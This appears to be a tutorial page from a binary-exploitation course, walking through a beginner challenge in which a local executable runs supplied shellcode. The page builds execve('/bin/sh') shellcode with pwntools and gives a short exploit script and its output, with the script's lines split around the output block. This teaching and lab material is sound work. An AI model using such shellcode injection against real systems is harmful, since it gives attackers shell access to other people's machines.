Table of Contents

IronForgeCyber

Courses

Resources

Blog

Log In



IronForgeCyber

AboutPrivacyTerms

© 2026 IronForgeCyber. All rights reserved.

  1. courses
  2. binex-stack-exploits
  3. sc-given
2 min read

An Easy Example

This challenge offers you to write some shellcode and it'll execute it for you. It's an x86 executable with minimal permissions:

$ checksec ./chall[*] './chall'    Arch:       i386-32-little    RELRO:      Partial RELRO    Stack:      No canary found    NX:         NX unknown - GNU_STACK missing    PIE:        PIE enabled    Stack:      Executable    RWX:        Has RWX segments    Stripped:   No

Getting Shellcode

We'll cover writing shellcode by hand later. For now, we can let pwntools build it for us. pwntools ships shellcraft, a library of ready-made assembly, and asm() to turn it into raw bytes.

The buffer only holds 31 bytes (fgets reads sizeof(buffer)), so the full shellcraft.sh() helper (44 bytes) won't fit. Instead, we assemble execve("/bin/sh") directly, which is a compact 28 bytes:

python
sc = asm(shellcraft.execve("/bin/sh", 0, 0))

We send this to the binary using Pwntools:

python
1from pwn import *
2
3elf = context.binary = ELF("./chall")
4p = process()

Running this script drops us into a shell, where we can read the flag:

solution.py
$ python3 solution.py[*] './chall'    Arch:       i386-32-little    RELRO:      Partial RELRO    Stack:      No canary found    NX:         NX unknown - GNU_STACK missing    PIE:        PIE enabled    Stack:      Executable    RWX:        Has RWX segments    Stripped:   No[+] Starting local process './chall': pid 149615[*] Switching to interactive modeGive me some some code! I'll execute it for you.>Thank you!$ cat flag.txtIFC{PL4C3H0LD3R_FL4G_H3R3!}
5
6sc = asm(shellcraft.execve("/bin/sh", 0, 0))
7
8p.sendline(sc)
9p.interactive()